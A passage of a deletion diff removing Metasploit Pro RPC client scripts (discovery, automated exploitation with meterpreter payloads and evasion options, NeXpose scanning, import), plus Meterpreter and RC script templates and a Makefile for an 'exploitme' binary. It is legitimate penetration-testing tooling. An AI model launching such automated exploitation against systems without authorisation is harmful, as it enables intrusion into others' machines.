opts[:portscan_timeout] = x
|
|
||||||
end
|
|
||||||
|
|
||||||
parser.on("--source-port PORT (optional)") do |x|
|
|
||||||
opts[:source_port] = x
|
|
||||||
end
|
|
||||||
|
|
||||||
parser.on("--custom-nmap-options OPTIONS (optional)") do |x|
|
|
||||||
opts[:custom_nmap_options] = x
|
|
||||||
end
|
|
||||||
|
|
||||||
parser.on("--disable-udp-probes (optional)") do
|
|
||||||
opts[:disable_udp_probes] = true
|
|
||||||
end
|
|
||||||
|
|
||||||
parser.on("--disable-finger-users (optional)") do
|
|
||||||
opts[:disable_finger_users] = true
|
|
||||||
end
|
|
||||||
|
|
||||||
parser.on("--disable-snmp-scan (optional)") do
|
|
||||||
opts[:disable_snmp_scan] = true
|
|
||||||
end
|
|
||||||
|
|
||||||
parser.on("--disable-service-identification (optional)") do
|
|
||||||
opts[:disable_service_identification] = true
|
|
||||||
end
|
|
||||||
|
|
||||||
parser.on("--smb-user USER (optional)") do |x|
|
|
||||||
opts[:smb_user] = x
|
|
||||||
end
|
|
||||||
|
|
||||||
parser.on("--smb-pass PASS (optional)") do |x|
|
|
||||||
opts[:smb_pass] = x
|
|
||||||
end
|
|
||||||
|
|
||||||
parser.on("--smb-domain DOMAIN (optional)") do |x|
|
|
||||||
opts[:smb_domain] = x
|
|
||||||
end
|
|
||||||
|
|
||||||
parser.on("--dry-run (optional)") do
|
|
||||||
opts[:dry_run] = true
|
|
||||||
end
|
|
||||||
|
|
||||||
parser.on("--single-scan (optional)") do
|
|
||||||
opts[:single_scan] = true
|
|
||||||
end
|
|
||||||
|
|
||||||
parser.on("--fast-detect (optional)") do
|
|
||||||
opts[:fast_detect] = true
|
|
||||||
end
|
|
||||||
|
|
||||||
parser.on("--help") do
|
|
||||||
$stderr.puts parser
|
|
||||||
exit(1)
|
|
||||||
end
|
|
||||||
|
|
||||||
parser.separator('')
|
|
||||||
parser.parse!(ARGV)
|
|
||||||
|
|
||||||
@rpc = Msf::RPC::Client.new(opts)
|
|
||||||
|
|
||||||
if not @rpc.token
|
|
||||||
$stderr.puts "Error: Invalid RPC server options specified"
|
|
||||||
$stderr.puts parser
|
|
||||||
exit(1)
|
|
||||||
end
|
|
||||||
|
|
||||||
# Provide default values for certain options - If there's no alternative set
|
|
||||||
# use the default provided by Pro -- see the documentation.
|
|
||||||
project = opts[:project] || usage(parser)
|
|
||||||
targets = opts[:targets] || usage(parser)
|
|
||||||
blacklist = opts[:blacklist]
|
|
||||||
speed = opts[:speed] || "5"
|
|
||||||
extra_ports = opts[:extra_ports]
|
|
||||||
blacklist_ports = opts[:blacklist_ports]
|
|
||||||
custom_ports = opts[:custom_ports]
|
|
||||||
portscan_timeout = opts[:portscan_timeout] || 300
|
|
||||||
source_port = opts[:source_port]
|
|
||||||
custom_nmap_options = opts[:custom_nmap_options] ||
|
|
||||||
disable_udp_probes = opts[:disable_udp_probes] || false
|
|
||||||
disable_finger_users = opts[:disable_finger_users] || false
|
|
||||||
disable_snmp_scan = opts[:disable_snmp_scan] || false
|
|
||||||
disable_service_identification = opts[:disable_service_identification] || false
|
|
||||||
smb_user = opts[:smb_user] || ""
|
|
||||||
smb_pass = opts[:smb_pass] || ""
|
|
||||||
smb_domain = opts[:smb_domain] || ""
|
|
||||||
single_scan = opts[:single_scan] || false
|
|
||||||
fast_detect = opts[:fast_detect] || false
|
|
||||||
|
|
||||||
# Get the default user from Pro
|
|
||||||
user = @rpc.call("pro.default_admin_user")['username']
|
|
||||||
|
|
||||||
# Create the task object with all options
|
|
||||||
task = @rpc.call("pro.start_discover", {
|
|
||||||
'workspace' => project,
|
|
||||||
'username' => user,
|
|
||||||
'ips' => targets,
|
|
||||||
'DS_BLACKLIST_HOSTS' => blacklist,
|
|
||||||
'DS_PORTSCAN_SPEED' => speed,
|
|
||||||
'DS_PORTS_EXTRA' => extra_ports,
|
|
||||||
'DS_PORTS_BLACKLIST' => blacklist_ports,
|
|
||||||
'DS_PORTS_CUSTOM' => custom_ports,
|
|
||||||
'DS_PORTSCAN_TIMEOUT' => portscan_timeout,
|
|
||||||
'DS_PORTSCAN_SOURCE_PORT' => source_port,
|
|
||||||
'DS_CustomNmap' => custom_nmap_options,
|
|
||||||
'DS_UDP_PROBES' => disable_udp_probes,
|
|
||||||
'DS_FINGER_USERS' => disable_finger_users,
|
|
||||||
'DS_SNMP_SCAN' => disable_snmp_scan,
|
|
||||||
'DS_IDENTIFY_SERVICES' => disable_service_identification,
|
|
||||||
'DS_SMBUser' => smb_user,
|
|
||||||
'DS_SMBPass' => smb_pass,
|
|
||||||
'DS_SMBDomain' => smb_domain,
|
|
||||||
'DS_SINGLE_SCAN' => single_scan,
|
|
||||||
'DS_FAST_DETECT' => fast_detect
|
|
||||||
})
|
|
||||||
|
|
||||||
puts "DEBUG: Running task with #{task.inspect}"
|
|
||||||
|
|
||||||
if not task['task_id']
|
|
||||||
$stderr.puts "[-] Error starting the task: #{task.inspect}"
|
|
||||||
exit(0)
|
|
||||||
end
|
|
||||||
|
|
||||||
puts "[*] Creating Task ID #{task['task_id']}..."
|
|
||||||
while true
|
|
||||||
select(nil, nil, nil, 0.50)
|
|
||||||
|
|
||||||
stat = @rpc.call("pro.task_status", task['task_id'])
|
|
||||||
|
|
||||||
if stat['status'] == 'invalid'
|
|
||||||
$stderr.puts "[-] Error checking task status"
|
|
||||||
exit(0)
|
|
||||||
end
|
|
||||||
|
|
||||||
info = stat[ task['task_id'] ]
|
|
||||||
|
|
||||||
if not info
|
|
||||||
$stderr.puts "[-] Error finding the task"
|
|
||||||
exit(0)
|
|
||||||
end
|
|
||||||
|
|
||||||
if info['status'] == "error"
|
|
||||||
$stderr.puts "[-] Error generating report: #{info['error']}"
|
|
||||||
exit(0)
|
|
||||||
end
|
|
||||||
|
|
||||||
break if info['progress'] == 100
|
|
||||||
end
|
|
||||||
|
|
||||||
$stdout.puts "[+] Task Complete!"
|
|
|
@ -1,225 +0,0 @@
|
||||||
#!/usr/bin/env ruby
|
|
||||||
require 'rubygems'
|
|
||||||
require 'optparse'
|
|
||||||
require 'msfrpc-client'
|
|
||||||
require 'rex/ui'
|
|
||||||
|
|
||||||
def usage(ropts)
|
|
||||||
$stderr.puts ropts
|
|
||||||
|
|
||||||
if @rpc and @rpc.token
|
|
||||||
wspaces = @rpc.call("pro.workspaces") rescue {}
|
|
||||||
if wspaces.keys.length > 0
|
|
||||||
$stderr.puts "Active Projects:"
|
|
||||||
wspaces.each_pair do |k,v|
|
|
||||||
$stderr.puts "\t#{k}"
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
$stderr.puts ""
|
|
||||||
exit(1)
|
|
||||||
end
|
|
||||||
|
|
||||||
opts = {}
|
|
||||||
opts[:blacklist] = ''
|
|
||||||
opts[:whitelist_ports] = ''
|
|
||||||
opts[:blacklist_ports] = ''
|
|
||||||
opts[:exploit_timeout] = 5
|
|
||||||
opts[:limit_sessions] = true
|
|
||||||
opts[:ignore_fragile_devices] = true
|
|
||||||
opts[:filter_by_os] = true
|
|
||||||
opts[:only_match] = false
|
|
||||||
opts[:match_vulns] = true
|
|
||||||
opts[:match_ports] = true
|
|
||||||
opts[:payload_method] = "auto"
|
|
||||||
opts[:payload_type] = "meterpreter"
|
|
||||||
opts[:payload_ports] = "4000-5000"
|
|
||||||
opts[:evasion_level_tcp] = 0
|
|
||||||
opts[:evasion_level_app] = 0
|
|
||||||
opts[:module_filter] = ''
|
|
||||||
|
|
||||||
# Parse script-specific options
|
|
||||||
parser = Msf::RPC::Client.option_parser(opts)
|
|
||||||
parser.separator('Exploit Specific Options:')
|
|
||||||
|
|
||||||
parser.on("--project PROJECT") do |x|
|
|
||||||
opts[:project] = x
|
|
||||||
end
|
|
||||||
|
|
||||||
parser.on("--targets TARGETS") do |x|
|
|
||||||
opts[:targets] = x
|
|
||||||
end
|
|
||||||
|
|
||||||
parser.on("--speed SPEED") do |x|
|
|
||||||
opts[:speed] = x
|
|
||||||
end
|
|
||||||
|
|
||||||
parser.on("--minimum-rank RANK") do |x|
|
|
||||||
opts[:rank] = x
|
|
||||||
end
|
|
||||||
|
|
||||||
parser.on("--blacklist BLACKLIST (optional)") do |x|
|
|
||||||
opts[:blacklist] = x
|
|
||||||
end
|
|
||||||
|
|
||||||
parser.on("--whitelist-ports PORTS (optional)") do |x|
|
|
||||||
opts[:whitelist_ports] = x
|
|
||||||
end
|
|
||||||
|
|
||||||
parser.on("--blacklist-ports PORTS (optional)") do |x|
|
|
||||||
opts[:blacklist_ports] = x
|
|
||||||
end
|
|
||||||
|
|
||||||
parser.on("--exploit-timeout TIMEOUT (optional)") do |x|
|
|
||||||
opts[:exploit_timeout] = x
|
|
||||||
end
|
|
||||||
|
|
||||||
parser.on("--limit-sessions (optional)") do |x|
|
|
||||||
opts[:limit_sessions] = (x =~ /^(y|t|1)/i ? true : false )
|
|
||||||
end
|
|
||||||
|
|
||||||
parser.on("--ignore-fragile-devices (optional)") do |x|
|
|
||||||
opts[:ignore_fragile_devices] = (x =~ /^(y|t|1)/i ? true : false )
|
|
||||||
end
|
|
||||||
|
|
||||||
parser.on("--filter-by-os (optional)") do |x|
|
|
||||||
opts[:filter_by_os] = (x =~ /^(y|t|1)/i ? true : false )
|
|
||||||
end
|
|
||||||
|
|
||||||
parser.on("--dry-run (optional)") do |x|
|
|
||||||
opts[:only_match] = (x =~ /^(y|t|1)/i ? true : false )
|
|
||||||
end
|
|
||||||
|
|
||||||
parser.on("--match-vulns (optional)") do |x|
|
|
||||||
opts[:match_vulns] = (x =~ /^(y|t|1)/i ? true : false )
|
|
||||||
end
|
|
||||||
|
|
||||||
parser.on("--match-ports (optional)") do |x|
|
|
||||||
opts[:match_ports] = (x =~ /^(y|t|1)/i ? true : false )
|
|
||||||
end
|
|
||||||
|
|
||||||
parser.on("--payload-method AUTO|REVERSE|BIND (optional)") do |x|
|
|
||||||
opts[:payload_method] = x
|
|
||||||
end
|
|
||||||
|
|
||||||
parser.on("--payload-type METERPRETER|SHELL (optional)") do |x|
|
|
||||||
opts[:payload_type] = x
|
|
||||||
end
|
|
||||||
|
|
||||||
parser.on("--payload-ports PORTS (optional)") do |x|
|
|
||||||
opts[:payload_ports] = x
|
|
||||||
end
|
|
||||||
|
|
||||||
parser.on("--evasion-level-tcp LEVEL (optional)") do |x|
|
|
||||||
opts[:evasion_level_tcp] = x
|
|
||||||
end
|
|
||||||
|
|
||||||
parser.on("--evasion-level-app LEVEL (optional)") do |x|
|
|
||||||
opts[:evasion_level_app] = x
|
|
||||||
end
|
|
||||||
|
|
||||||
parser.on("--module-filter FILTER (optional)") do |x|
|
|
||||||
opts[:module_filter] = x
|
|
||||||
end
|
|
||||||
|
|
||||||
parser.on("--help") do
|
|
||||||
$stderr.puts parser
|
|
||||||
exit(1)
|
|
||||||
end
|
|
||||||
|
|
||||||
parser.separator('')
|
|
||||||
parser.parse!(ARGV)
|
|
||||||
|
|
||||||
@rpc = Msf::RPC::Client.new(opts)
|
|
||||||
|
|
||||||
if not @rpc.token
|
|
||||||
$stderr.puts "Error: Invalid RPC server options specified"
|
|
||||||
$stderr.puts parser
|
|
||||||
exit(1)
|
|
||||||
end
|
|
||||||
|
|
||||||
# Store the user's settings
|
|
||||||
project = opts[:project] || usage(parser)
|
|
||||||
targets = opts[:targets] || usage(parser)
|
|
||||||
rank = opts[:rank] || usage(parser)
|
|
||||||
speed = opts[:speed] || usage(parser)
|
|
||||||
blacklist = opts[:blacklist]
|
|
||||||
whitelist_ports = opts[:whitelist_ports]
|
|
||||||
blacklist_ports = opts[:blacklist_ports]
|
|
||||||
exploit_timeout = opts[:exploit_timeout]
|
|
||||||
limit_sessions = opts[:limit_sessions]
|
|
||||||
ignore_fragile_devices = opts[:ignore_fragile_devices]
|
|
||||||
filter_by_os = opts[:filter_by_os]
|
|
||||||
only_match = opts[:only_match]
|
|
||||||
match_vulns = opts[:match_vulns]
|
|
||||||
match_ports = opts[:match_ports]
|
|
||||||
payload_method = opts[:payload_method]
|
|
||||||
payload_type = opts[:payload_type]
|
|
||||||
payload_ports = opts[:payload_ports]
|
|
||||||
evasion_level_tcp = opts[:evasion_level_tcp]
|
|
||||||
evasion_level_app = opts[:evasion_level_app]
|
|
||||||
module_filter = opts[:module_filter]
|
|
||||||
#===
|
|
||||||
|
|
||||||
# Get the default user
|
|
||||||
user = @rpc.call("pro.default_admin_user")['username']
|
|
||||||
|
|
||||||
# Create the task object with all options
|
|
||||||
task = @rpc.call("pro.start_exploit", {
|
|
||||||
'workspace' => project,
|
|
||||||
'username' => user,
|
|
||||||
'DS_WHITELIST_HOSTS' => targets,
|
|
||||||
'DS_BLACKLIST_HOSTS' => blacklist,
|
|
||||||
'DS_WHITELIST_PORTS' => whitelist_ports,
|
|
||||||
'DS_BLACKLIST_PORTS' => blacklist_ports,
|
|
||||||
'DS_MinimumRank' => rank,
|
|
||||||
'DS_EXPLOIT_SPEED' => speed,
|
|
||||||
'DS_EXPLOIT_TIMEOUT' => exploit_timeout,
|
|
||||||
'DS_LimitSessions' => limit_sessions,
|
|
||||||
'DS_IgnoreFragileDevices' => ignore_fragile_devices,
|
|
||||||
'DS_FilterByOS' => filter_by_os,
|
|
||||||
'DS_OnlyMatch' => only_match,
|
|
||||||
'DS_MATCH_VULNS' => match_vulns,
|
|
||||||
'DS_MATCH_PORTS' => match_ports,
|
|
||||||
'DS_PAYLOAD_METHOD' => payload_method,
|
|
||||||
'DS_PAYLOAD_TYPE' => payload_type,
|
|
||||||
'DS_PAYLOAD_PORTS' => payload_ports,
|
|
||||||
'DS_EVASION_LEVEL_TCP' => evasion_level_tcp,
|
|
||||||
'DS_EVASION_LEVEL_APP' => evasion_level_app,
|
|
||||||
'DS_ModuleFilter' => module_filter
|
|
||||||
})
|
|
||||||
|
|
||||||
puts "DEBUG: Running task with #{task.inspect}"
|
|
||||||
|
|
||||||
if not task['task_id']
|
|
||||||
$stderr.puts "[-] Error starting the task: #{task.inspect}"
|
|
||||||
exit(0)
|
|
||||||
end
|
|
||||||
|
|
||||||
puts "[*] Creating Task ID #{task['task_id']}..."
|
|
||||||
while true
|
|
||||||
select(nil, nil, nil, 0.50)
|
|
||||||
|
|
||||||
stat = @rpc.call("pro.task_status", task['task_id'])
|
|
||||||
|
|
||||||
if stat['status'] == 'invalid'
|
|
||||||
$stderr.puts "[-] Error checking task status"
|
|
||||||
exit(0)
|
|
||||||
end
|
|
||||||
|
|
||||||
info = stat[ task['task_id'] ]
|
|
||||||
|
|
||||||
if not info
|
|
||||||
$stderr.puts "[-] Error finding the task"
|
|
||||||
exit(0)
|
|
||||||
end
|
|
||||||
|
|
||||||
if info['status'] == "error"
|
|
||||||
$stderr.puts "[-] Error generating report: #{info['error']}"
|
|
||||||
exit(0)
|
|
||||||
end
|
|
||||||
|
|
||||||
break if info['progress'] == 100
|
|
||||||
end
|
|
||||||
|
|
||||||
$stdout.puts "[+] Task Complete!"
|
|
|
@ -1,91 +0,0 @@
|
||||||
#!/usr/bin/env ruby
|
|
||||||
require 'rubygems'
|
|
||||||
require 'optparse'
|
|
||||||
require 'msfrpc-client'
|
|
||||||
require 'rex/ui'
|
|
||||||
|
|
||||||
def usage(ropts)
|
|
||||||
$stderr.puts ropts
|
|
||||||
|
|
||||||
if @rpc and @rpc.token
|
|
||||||
wspaces = @rpc.call("pro.workspaces") rescue {}
|
|
||||||
if wspaces.keys.length > 0
|
|
||||||
$stderr.puts "Active Projects:"
|
|
||||||
wspaces.each_pair do |k,v|
|
|
||||||
$stderr.puts "\t#{k}"
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
exit(1)
|
|
||||||
end
|
|
||||||
|
|
||||||
opts = {}
|
|
||||||
|
|
||||||
# Parse script-specific options
|
|
||||||
parser = Msf::RPC::Client.option_parser(opts)
|
|
||||||
parser.separator('Task Options:')
|
|
||||||
|
|
||||||
parser.on("--path PATH") do |path|
|
|
||||||
opts[:path] = path
|
|
||||||
end
|
|
||||||
|
|
||||||
parser.on("--project PROJECT") do |project|
|
|
||||||
opts[:project] = project
|
|
||||||
end
|
|
||||||
|
|
||||||
parser.on("--help") do
|
|
||||||
$stderr.puts parser
|
|
||||||
exit(1)
|
|
||||||
end
|
|
||||||
parser.separator('')
|
|
||||||
|
|
||||||
parser.parse!(ARGV)
|
|
||||||
@rpc = Msf::RPC::Client.new(opts)
|
|
||||||
|
|
||||||
if not @rpc.token
|
|
||||||
$stderr.puts "Error: Invalid RPC server options specified"
|
|
||||||
$stderr.puts parser
|
|
||||||
exit(1)
|
|
||||||
end
|
|
||||||
|
|
||||||
project = opts[:project] || usage(parser)
|
|
||||||
path = opts[:path] || usage(parser)
|
|
||||||
user = @rpc.call("pro.default_admin_user")['username']
|
|
||||||
task = @rpc.call("pro.start_import", {
|
|
||||||
'workspace' => project,
|
|
||||||
'username' => user,
|
|
||||||
'DS_PATH' => path
|
|
||||||
})
|
|
||||||
|
|
||||||
if not task['task_id']
|
|
||||||
$stderr.puts "[-] Error starting the task: #{task.inspect}"
|
|
||||||
exit(0)
|
|
||||||
end
|
|
||||||
|
|
||||||
puts "[*] Creating Task ID #{task['task_id']}..."
|
|
||||||
while true
|
|
||||||
select(nil, nil, nil, 0.50)
|
|
||||||
|
|
||||||
stat = @rpc.call("pro.task_status", task['task_id'])
|
|
||||||
|
|
||||||
if stat['status'] == 'invalid'
|
|
||||||
$stderr.puts "[-] Error checking task status"
|
|
||||||
exit(0)
|
|
||||||
end
|
|
||||||
|
|
||||||
info = stat[ task['task_id'] ]
|
|
||||||
|
|
||||||
if not info
|
|
||||||
$stderr.puts "[-] Error finding the task"
|
|
||||||
exit(0)
|
|
||||||
end
|
|
||||||
|
|
||||||
if info['status'] == "error"
|
|
||||||
$stderr.puts "[-] Error generating report: #{info['error']}"
|
|
||||||
exit(0)
|
|
||||||
end
|
|
||||||
|
|
||||||
break if info['progress'] == 100
|
|
||||||
end
|
|
||||||
|
|
||||||
$stdout.puts "[+] Task Complete!"
|
|
|
@ -1,148 +0,0 @@
|
||||||
#!/usr/bin/env ruby
|
|
||||||
require 'rubygems'
|
|
||||||
require 'optparse'
|
|
||||||
require 'msfrpc-client'
|
|
||||||
require 'rex/ui'
|
|
||||||
|
|
||||||
def usage(ropts)
|
|
||||||
$stderr.puts ropts
|
|
||||||
|
|
||||||
if @rpc and @rpc.token
|
|
||||||
wspaces = @rpc.call("pro.workspaces") rescue {}
|
|
||||||
if wspaces.keys.length > 0
|
|
||||||
$stderr.puts "Active Projects:"
|
|
||||||
wspaces.each_pair do |k,v|
|
|
||||||
$stderr.puts "\t#{k}"
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
$stderr.puts ""
|
|
||||||
exit(1)
|
|
||||||
end
|
|
||||||
|
|
||||||
opts = {}
|
|
||||||
|
|
||||||
# Parse script-specific options
|
|
||||||
parser = Msf::RPC::Client.option_parser(opts)
|
|
||||||
parser.separator('NeXpose Specific Options:')
|
|
||||||
|
|
||||||
parser.on("--project PROJECT") do |x|
|
|
||||||
opts[:project] = x
|
|
||||||
end
|
|
||||||
|
|
||||||
parser.on("--targets TARGETS") do |x|
|
|
||||||
opts[:targets] = [x]
|
|
||||||
end
|
|
||||||
|
|
||||||
parser.on("--nexpose-host HOST") do |x|
|
|
||||||
opts[:nexpose_host] = x
|
|
||||||
end
|
|
||||||
|
|
||||||
parser.on("--nexpose-user USER") do |x|
|
|
||||||
opts[:nexpose_user] = x
|
|
||||||
end
|
|
||||||
|
|
||||||
parser.on("--nexpose-pass PASSWORD") do |x|
|
|
||||||
opts[:nexpose_pass] = x
|
|
||||||
end
|
|
||||||
|
|
||||||
parser.on("--nexpose-pass-file PATH") do |x|
|
|
||||||
opts[:nexpose_pass_file] = x
|
|
||||||
end
|
|
||||||
|
|
||||||
parser.on("--scan-template TEMPLATE (optional)") do |x|
|
|
||||||
opts[:scan_template] = x
|
|
||||||
end
|
|
||||||
|
|
||||||
parser.on("--nexpose-port PORT (optional)") do |x|
|
|
||||||
opts[:nexpose_port] = x
|
|
||||||
end
|
|
||||||
|
|
||||||
parser.on("--blacklist BLACKLIST (optional)") do |x|
|
|
||||||
opts[:blacklist] = x
|
|
||||||
end
|
|
||||||
|
|
||||||
parser.on("--help") do
|
|
||||||
$stderr.puts parser
|
|
||||||
exit(1)
|
|
||||||
end
|
|
||||||
|
|
||||||
parser.separator('')
|
|
||||||
parser.parse!(ARGV)
|
|
||||||
|
|
||||||
@rpc = Msf::RPC::Client.new(opts)
|
|
||||||
|
|
||||||
if not @rpc.token
|
|
||||||
$stderr.puts "Error: Invalid RPC server options specified"
|
|
||||||
$stderr.puts parser
|
|
||||||
exit(1)
|
|
||||||
end
|
|
||||||
|
|
||||||
# Get the password from the file
|
|
||||||
if opts[:nexpose_pass_file]
|
|
||||||
nexpose_pass = File.open(opts[:nexpose_pass_file],"r").read.chomp!
|
|
||||||
else
|
|
||||||
nexpose_pass = opts[:nexpose_pass] || usage(parser)
|
|
||||||
end
|
|
||||||
|
|
||||||
# Store the user's settings
|
|
||||||
project = opts[:project] || usage(parser),
|
|
||||||
targets = opts[:targets] || usage(parser),
|
|
||||||
blacklist = opts[:blacklist],
|
|
||||||
nexpose_host = opts[:nexpose_host] || usage(parser),
|
|
||||||
nexpose_port = opts[:nexpose_port] || "3780",
|
|
||||||
nexpose_user = opts[:nexpose_user] || "nxadmin"
|
|
||||||
scan_template = opts[:scan_template] || "pentest-audit"
|
|
||||||
|
|
||||||
# Get the default user
|
|
||||||
user = @rpc.call("pro.default_admin_user")['username']
|
|
||||||
|
|
||||||
options = {
|
|
||||||
'workspace' => project,
|
|
||||||
'username' => user,
|
|
||||||
'DS_WHITELIST_HOSTS' => targets,
|
|
||||||
'DS_NEXPOSE_HOST' => nexpose_host,
|
|
||||||
'DS_NEXPOSE_PORT' => nexpose_port,
|
|
||||||
'DS_NEXPOSE_USER' => nexpose_user,
|
|
||||||
'nexpose_pass' => nexpose_pass,
|
|
||||||
'DS_SCAN_TEMPLATE' => scan_template
|
|
||||||
}
|
|
||||||
|
|
||||||
puts "DEBUG: Running task with #{options}"
|
|
||||||
|
|
||||||
# Create the task object with all options
|
|
||||||
task = @rpc.call("pro.start_exploit", options)
|
|
||||||
|
|
||||||
|
|
||||||
if not task['task_id']
|
|
||||||
$stderr.puts "[-] Error starting the task: #{task.inspect}"
|
|
||||||
exit(0)
|
|
||||||
end
|
|
||||||
|
|
||||||
puts "[*] Creating Task ID #{task['task_id']}..."
|
|
||||||
while true
|
|
||||||
select(nil, nil, nil, 0.50)
|
|
||||||
|
|
||||||
stat = @rpc.call("pro.task_status", task['task_id'])
|
|
||||||
|
|
||||||
if stat['status'] == 'invalid'
|
|
||||||
$stderr.puts "[-] Error checking task status"
|
|
||||||
exit(0)
|
|
||||||
end
|
|
||||||
|
|
||||||
info = stat[ task['task_id'] ]
|
|
||||||
|
|
||||||
if not info
|
|
||||||
$stderr.puts "[-] Error finding the task"
|
|
||||||
exit(0)
|
|
||||||
end
|
|
||||||
|
|
||||||
if info['status'] == "error"
|
|
||||||
$stderr.puts "[-] Error generating report: #{info['error']}"
|
|
||||||
exit(0)
|
|
||||||
end
|
|
||||||
|
|
||||||
break if info['progress'] == 100
|
|
||||||
end
|
|
||||||
|
|
||||||
$stdout.puts "[+] Task Complete!"
|
|
|
@ -1,43 +0,0 @@
|
||||||
# $Id$
|
|
||||||
# $Revision$
|
|
||||||
# Author:
|
|
||||||
#-------------------------------------------------------------------------------
|
|
||||||
################## Variable Declarations ##################
|
|
||||||
|
|
||||||
@client = client
|
|
||||||
sample_option_var = nil
|
|
||||||
@exec_opts = Rex::Parser::Arguments.new(
|
|
||||||
"-h" => [ false, "Help menu." ],
|
|
||||||
"-o" => [ true , "Option that requieres a value"]
|
|
||||||
)
|
|
||||||
meter_type = client.platform
|
|
||||||
|
|
||||||
################## Function Declarations ##################
|
|
||||||
|
|
||||||
# Usage Message Function
|
|
||||||
#-------------------------------------------------------------------------------
|
|
||||||
def usage
|
|
||||||
print_line "Meterpreter Script for INSERT PURPOSE."
|
|
||||||
print_line(@exec_opts.usage)
|
|
||||||
raise Rex::Script::Completed
|
|
||||||
end
|
|
||||||
|
|
||||||
# Wrong Meterpreter Version Message Function
|
|
||||||
#-------------------------------------------------------------------------------
|
|
||||||
def wrong_meter_version(meter = meter_type)
|
|
||||||
print_error("#{meter} version of Meterpreter is not supported with this Script!")
|
|
||||||
raise Rex::Script::Completed
|
|
||||||
end
|
|
||||||
|
|
||||||
################## Main ##################
|
|
||||||
@exec_opts.parse(args) { |opt, idx, val|
|
|
||||||
case opt
|
|
||||||
when "-h"
|
|
||||||
usage
|
|
||||||
when "-o"
|
|
||||||
sample_option_var = val
|
|
||||||
end
|
|
||||||
}
|
|
||||||
|
|
||||||
# Check for Version of Meterpreter
|
|
||||||
wrong_meter_version(meter_type) if meter_type !~ /win32|win64|java|php|linux/i # Remove none supported versions
|
|
|
@ -1,132 +0,0 @@
|
||||||
<ruby>
|
|
||||||
##
|
|
||||||
# This file is part of the Metasploit Framework and may be subject to
|
|
||||||
# redistribution and commercial restrictions. Please see the Metasploit
|
|
||||||
# Framework web site for more information on licensing and terms of use.
|
|
||||||
# http://metasploit.com/framework/
|
|
||||||
##
|
|
||||||
|
|
||||||
#
|
|
||||||
# Put your 'require' here
|
|
||||||
#
|
|
||||||
|
|
||||||
#
|
|
||||||
# RC files currently have no 'modinfo' like a real Metasploit module, so this help message
|
|
||||||
# will have to do the trick for now.
|
|
||||||
#
|
|
||||||
def help
|
|
||||||
msg = %Q|
|
|
||||||
Description:
|
|
||||||
Let's describe what this RC script is all about, plus anything the user should know before
|
|
||||||
actually using it.
|
|
||||||
|
|
||||||
Usage:
|
|
||||||
msfconsole -r <rc file> <db_user> <db_pass> <db_workspace> <arg1>
|
|
||||||
|
|
||||||
Options:
|
|
||||||
<rc file> - I'm sure you already know
|
|
||||||
<db_user> - Username for the database (datastore: 'DB_USER')
|
|
||||||
<db_pass> - Password for the database (datastore: 'DB_PASS')
|
|
||||||
<db_workspace> - Workspace for the database (datastore: 'DB_WORKSPACE')
|
|
||||||
<arg1> - Argument 1 (datastore: 'ARG1')
|
|
||||||
|
|
||||||
Authors:
|
|
||||||
sinn3r <sinn3r[at]metasploit.com>
|
|
||||||
|
|
|
||||||
|
|
||||||
msg = msg.gsub(/^\t/, '')
|
|
||||||
print_line(msg)
|
|
||||||
end
|
|
||||||
|
|
||||||
|
|
||||||
#
|
|
||||||
# See if we're already connected
|
|
||||||
#
|
|
||||||
def is_db_active?
|
|
||||||
begin
|
|
||||||
framework.db.hosts
|
|
||||||
return true
|
|
||||||
rescue ::ActiveRecord::ConnectionNotEstablished
|
|
||||||
return false
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
|
|
||||||
#
|
|
||||||
# Initialize the database.
|
|
||||||
# Default to localhost:5432, as this is the default configuration suggested by the manual.
|
|
||||||
#
|
|
||||||
def init_db(username, password, workspace)
|
|
||||||
db = "localhost:5432"
|
|
||||||
print_status("Opening #{workspace} at #{db}")
|
|
||||||
run_single("db_connect #{username}:#{password}@#{db}/#{workspace}")
|
|
||||||
end
|
|
||||||
|
|
||||||
|
|
||||||
#
|
|
||||||
# Initialize the argumets here
|
|
||||||
#
|
|
||||||
def init_args
|
|
||||||
args = {}
|
|
||||||
|
|
||||||
joint = ARGV.join('')
|
|
||||||
if joint =~ /^help$/i
|
|
||||||
args[:help] = true
|
|
||||||
return args
|
|
||||||
end
|
|
||||||
|
|
||||||
# Add more arguments according to your help() function
|
|
||||||
datastore = framework.datastore
|
|
||||||
args[:db_user] = ARGV.shift || datastore['DB_USER'] || ''
|
|
||||||
args[:db_pass] = ARGV.shift || datastore['DB_PASS'] || ''
|
|
||||||
args[:db_workspace] = ARGV.shift || datastore['DB_WORKSPACE'] || ''
|
|
||||||
args[:arg1] = ARGV.shift || datastore['ARG1'] || ''
|
|
||||||
|
|
||||||
if not is_db_active?
|
|
||||||
if args[:db_user].empty? or args[:db_pass].empty? or args[:db_workspace].empty?
|
|
||||||
raise ArgumentError, "Need DB_USER, DB_PASS, and DB_WORKSPACE"
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
raise ArgumentError, "Need ARG1" if args[:arg1].empty?
|
|
||||||
|
|
||||||
return args
|
|
||||||
end
|
|
||||||
|
|
||||||
|
|
||||||
#
|
|
||||||
# This is your main function
|
|
||||||
#
|
|
||||||
def main(args)
|
|
||||||
print_status("Initialzation is done, and here's your input: #{args[:arg1]}")
|
|
||||||
end
|
|
||||||
|
|
||||||
|
|
||||||
#
|
|
||||||
# Below initializes the arguments and database
|
|
||||||
#
|
|
||||||
begin
|
|
||||||
args = init_args
|
|
||||||
if args[:help]
|
|
||||||
help
|
|
||||||
return
|
|
||||||
end
|
|
||||||
|
|
||||||
init_db(args[:db_user], args[:db_pass], args[:db_workspace]) if not is_db_active?
|
|
||||||
main(args)
|
|
||||||
|
|
||||||
rescue ArgumentError => e
|
|
||||||
print_error("Bad argument(s): #{e.message}")
|
|
||||||
return
|
|
||||||
|
|
||||||
rescue RuntimeError => e
|
|
||||||
# Any runtime error should be raised as "RuntimeError"
|
|
||||||
print_error(e.message)
|
|
||||||
return
|
|
||||||
|
|
||||||
rescue ::Exception => e
|
|
||||||
# Whatever unknown exception occurs, we raise it
|
|
||||||
raise e
|
|
||||||
end
|
|
||||||
|
|
||||||
</ruby>
|
|
|
@ -1,5 +0,0 @@
|
||||||
all: exploitmel
|
|
||||||
exploitmel: exploitme-posix.c
|
|
||||||
gcc -W -Wall $< -o $@
|
|
||||||
clean:
|
|
||||||
rm exploitmel
